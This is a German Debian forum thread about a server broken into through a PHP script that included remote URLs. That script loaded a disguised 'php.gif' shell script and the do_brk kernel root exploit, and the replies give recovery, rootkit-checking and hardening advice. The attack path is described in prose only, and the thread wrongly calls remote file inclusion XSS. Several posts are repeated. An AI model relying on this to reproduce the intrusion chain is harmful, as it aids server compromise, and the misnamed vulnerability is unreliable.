Grundsätzlich ist erstmal davon auszugehen, dass der do_brk exploit funktioniert hat, und die Cracker jetzt root Zugang haben. Beliebige Programme könnten verändert worden sein, damit sie evtl. laufende root Kits nicht anzeigen und evtl. wurden auch Kernel Module eingeschleust, die alle Anzeichen eines Einbruchs verstecken. Die Tatsache, dass die Firewall nicht modifiziert wurde würde zwar dagegen sprechen, aber das gilt nur, wenn die Firewall auf dem gleichen Rechner läuft, der auch kompromittiert wurde.
Fazit: Reparieren ist aussichtslos. Beweise sichern (Plattenimage) und neu installieren, und vor allem rausfinden, ob der Bug in der PHP Software vielleicht schon gefixed wurde...
Patrick
Was für eine PHP Software läuft da?
Scheinbar kann man dem show Befehl deDeiner PHP Software eine URL übergeben, die dann angezeigt wird. Das ist eine sog. XSS (Cross Site Scripting) Attacke, mittels dere man Deine Apache beliebige PHP Skripte unterschieben kann. Wenn man sich das php.gif von dem anderen Server anschaut, dann ist da ein PHP Skript, mit dem man Shell Befehle ausführen kann. Aus irgendeinem Grund (Bug) kann man der PHP Software auf Deinem Server dann beliebige PHP Seiten unterschieben die er ausführt, indem man einfach die URL an die show Funktion übergibt. Damit haben sie dann r0nin hochgeladen und gestartet.
Die php.gif Datei enthält ausserdem einen Kernel Exploit (do_brk) mit dem versucht wird root Rechte zu erlangen. Der normale Kernel 2.4.18 kann damit gecracked werden, und man hat dann root Rechte. Der Debian 2.4.18 Kernel ist nicht anfällig, allerdings nur, wenn Du *alle* Security Updates von security.debian.org eingespielt hast. Wenn der 2.4.18 selbstgebaut ist, dann hast Du ebenfalls ein Problem. Debian hat das Problem in kernel-image-2.4.18-12 gefixed. Wenn Dein Kernel älter ist:
Grundsätzlich ist erstmal davon auszugehen, dass der do_brk exploit funktioniert hat, und die Cracker jetzt root Zugang haben. Beliebige Programme könnten verändert worden sein, damit sie evtl. laufende root Kits nicht anzeigen und evtl. wurden auch Kernel Module eingeschleust, die alle Anzeichen eines Einbruchs verstecken. Die Tatsache, dass die Firewall nicht modifiziert wurde würde zwar dagegen sprechen, aber das gilt nur, wenn die Firewall auf dem gleichen Rechner läuft, der auch kompromittiert wurde.
Fazit: Reparieren ist aussichtslos. Beweise sichern (Plattenimage) und neu installieren, und vor allem rausfinden, ob der Bug in der PHP Software vielleicht schon gefixed wurde...
Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de
Jabber: pdreker@debianforum.de
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
Nun, offensichtlich scheint es eine bekannte Lücke u sein. Dein Code ist [1] sehr identisch.
[1] http://www.nettalk.us/about4532.html
Bert
[1] http://www.nettalk.us/about4532.html
Bert
Programmer: A biological machine designed to convert caffeine into code.
xmpp:bert@debianforum.de
xmpp:bert@debianforum.de
- pdreker
- Beiträge: 8298
- Registriert: 29.07.2002 21:53:30
- Lizenz eigener Beiträge: MIT Lizenz
- Wohnort: Nürnberg
Das ist die Debian Versionsnummer. "dpkg -l kernel-image-2.4.18-1-686" zeigt Dir die komplette Version an. Wenn Du zum Zeitpunkt des Angriffs bereits Version 2.4.18-12 oder später drauf hattest, dann hat der root Exploit nicht funktioniert.Erzlord Caron hat geschrieben:Komme mit der benennung nicht ganz klar. Wo ist die -12??
Aber nochmal die Frage: Was für eine PHP Software lief bzw. läuft auf Deinem Server und welche Version des Skriptes??? Die hat ein wirklich übles Sicherheitsproblem, und ich würde gerne wissen, ob das ein bekanntes Problem ist, oder nicht!
@Bert: Das php.gif ist ein generischer XSS Exploit. Wenn man es irgendwie schafft, einem Apache das Dingen unterzuschieben, dann ist man drin, und es gibt wörtlich 100e von Möglichkeiten das zu tun. Der eigentliche Angriffsvektor wäre interessant, also sprich: Welches verd*mmte PHP Skript hat ein so grosses Scheunentor?
Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de
Jabber: pdreker@debianforum.de
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
- pdreker
- Beiträge: 8298
- Registriert: 29.07.2002 21:53:30
- Lizenz eigener Beiträge: MIT Lizenz
- Wohnort: Nürnberg
Jepp: Wenn Dein Freund nicht versteht, wo das Problem mit seinem Skript liegt, dann verwende es nicht...
Durch die Sicherheitslücke, die da drin ist kann man eine ganze Panzerkompanie fahren...
Eingaben an Skripte müssen immer so überprüft werden, dass man mit beliebigen Eingaben keinen Unsinn macht. In seinem Skript z.B. könnte man überprüfen, ob die hinter show stehende URL auch wirklich lokal ist, oder noch besser: man gibt nur den Pfad an, der Server steht dann hartkodiert im Skript.
Patrick
Durch die Sicherheitslücke, die da drin ist kann man eine ganze Panzerkompanie fahren...
Eingaben an Skripte müssen immer so überprüft werden, dass man mit beliebigen Eingaben keinen Unsinn macht. In seinem Skript z.B. könnte man überprüfen, ob die hinter show stehende URL auch wirklich lokal ist, oder noch besser: man gibt nur den Pfad an, der Server steht dann hartkodiert im Skript.
Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de
Jabber: pdreker@debianforum.de
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
Joghurt hat geschrieben:Dem Benutzer eins auf den Deckel geben?Erzlord Caron hat geschrieben:Habt ihr noch Ratschläge?
Code: Alles auswählen
google Cr4shyng
Freedom is the freedom to say that two plus two make four. If that is granted, all else follows.
- pdreker
- Beiträge: 8298
- Registriert: 29.07.2002 21:53:30
- Lizenz eigener Beiträge: MIT Lizenz
- Wohnort: Nürnberg
Ich schätze 'mal, dass das diese Brasilianisch Spam Gang ist... Die suchen im Prinzip Rechner die man zum Spammen nutzen kann.
Wenn es Dich nicht stört ein komplettes Land mehr oder weniger vom Zugriff auf deine Webserver auszuschliessen, dann bietet sich da mod_rewrite an:
Der obige Code liefert für alle Hosts deren Domain in .br (Brasilien), .cn (China) oder .kr (Korea) endet einfach ein "403 Forbidden" zurück. In Deinem Fall hätte das übrigens schon funktioniert, da die Request IP aus .br kam... Die Methode ist auch absolut nicht 100%ig dicht, da z.B. Hosts ohne Reverse DNS durchs Raster fallen, aber viele Kiddies und Scanner (eMail Adressen Sammler) werden so effektiv kaltgestellt.
Patrick
Wenn es Dich nicht stört ein komplettes Land mehr oder weniger vom Zugriff auf deine Webserver auszuschliessen, dann bietet sich da mod_rewrite an:
Code: Alles auswählen
RewriteEngine on
RewriteCond %{REMOTE_HOST} \.br$ [NC,OR]
RewriteCond %{REMOTE_HOST} \.cn$ [NC,OR]
RewriteCond %{REMOTE_HOST} \.kr$ [NC]
RewriteRule .* - [F,L]
Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de
Jabber: pdreker@debianforum.de
-
- Beiträge: 24
- Registriert: 06.08.2004 12:06:08
Da du den rechner ja nicht neu aufsetzen möchtest:Habt ihr noch Ratschläge?
Sei einfach ein bisschen (resp. ein bisschen sehr) paranoid.
D.h.
-- Rechner vom netz nehmen. chkrootkit(und rootkit hunter ...) source von internet auf einen anderen sicheren rechner laden, kompilieren, auf den gehackten rechner laden durchlaufen lassen.
Wenn was angezeigt =>> doch neu aufsetzen!!!
-- den kernel mit einem alten backup des servers vergleichen ob irgend was verändert wurde.
-- rechner an ein netz stellen und von aussen überprüfen ob irgend welche ports offen sind.(evt. hat der hacker sich ein ssh server od so was ähnliches eingerichtet.)
-- alle (ja, wircklich alle) passwörter ändern (ja, selbst und nicht ändern lassen!!!), denn evt. hat der hacker sich einen useraccount geschnappt.
so das wären ein paar tips! es gibt natürlich noch mehr, dass du machen kannst, wichtig ist einfach: SEI PARANOID!!!
grüsse
13terApostel
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
- pdreker
- Beiträge: 8298
- Registriert: 29.07.2002 21:53:30
- Lizenz eigener Beiträge: MIT Lizenz
- Wohnort: Nürnberg
OK, dann wohl nicht... k1DD13z oder ein Feld-, Wald- und Wiesen-Defacer...
Treibt sich schon eine Menge Abschaum im Netz rum heutzutage...
Patrick
Treibt sich schon eine Menge Abschaum im Netz rum heutzutage...
Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de
Jabber: pdreker@debianforum.de
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
moin,
interessant wäre es ja wie man als serverbetreiber (webhoster) solche sachen vermeiden kann, denn die scripte der user kontrollieren ist im normalfall ja nicht drin...
bis auf ein "register_globals off" fällt mir spontan nix ein um php abzusichern... vielleicht sollte ich mal etwas suchen
gruß
thorben
interessant wäre es ja wie man als serverbetreiber (webhoster) solche sachen vermeiden kann, denn die scripte der user kontrollieren ist im normalfall ja nicht drin...
bis auf ein "register_globals off" fällt mir spontan nix ein um php abzusichern... vielleicht sollte ich mal etwas suchen
gruß
thorben